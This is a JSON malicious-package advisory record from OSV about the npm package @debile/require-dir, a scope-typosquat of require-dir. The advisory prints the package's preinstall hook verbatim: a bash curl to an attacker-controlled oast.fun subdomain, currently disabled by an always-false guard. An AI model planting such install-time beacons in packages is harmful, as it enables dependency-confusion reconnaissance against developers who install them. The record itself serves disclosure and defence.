{"id":"MAL-2026-10654","revision":"28814a3ae72c4a8bb9a52a76251aae33","records":[{"revision":"28814a3ae72c4a8bb9a52a76251aae33","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-10654","aliases":[],"title":"Malicious code in @debile/require-dir (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3075732c05c8b941b57fed9e8fe9c788b28f9ff6fe9ef91936d1802f568c594e)\nPackage @debile/require-dir republishes the code of the well-known require-dir package under a different scope. Its package.json preinstall script runs `bash -c 'if [[ 1 == 2 ]]; then curl https://xgtktsypnmotaeqmgvdmsn0l1hg0yewow.oast.fun; fi'`, which stages an Interactsh (oast.fun) out-of-band beacon in the install lifecycle. The curl is gated behind an always-false `[[ 1 == 2 ]]` guard, so no request is actually issued on install of this version, but the preinstall hook, the attacker-controlled OAST subdomain, and the scope-typosquat of a popular package (require-dir) together form a dependency-confusion / install-time recon probe. Flipping a single character in the guard converts the current release into a live install-time beacon to an attacker-controlled interaction server.\n","state":0,"publishedAt":"2026-07-15T04:32:04+00:00","modifiedAt":"2026-07-15T06:04:28.2954639+00:00","affected":[{"ecosystem":"npm","name":"@debile/require-dir","ranges":[],"versions":["1.9.1","1.9.2"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@debile/require-dir/v/1.9.1","https://www.npmjs.com/package/@debile/require-dir/v/1.9.2"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-10654","license":"OSV · upstream source license applies","key":"osv:MAL-2026-10654","identifiers":["MAL-2026-10654"]},"retained":false,"historicalAffected":[]}],"coverage":[]}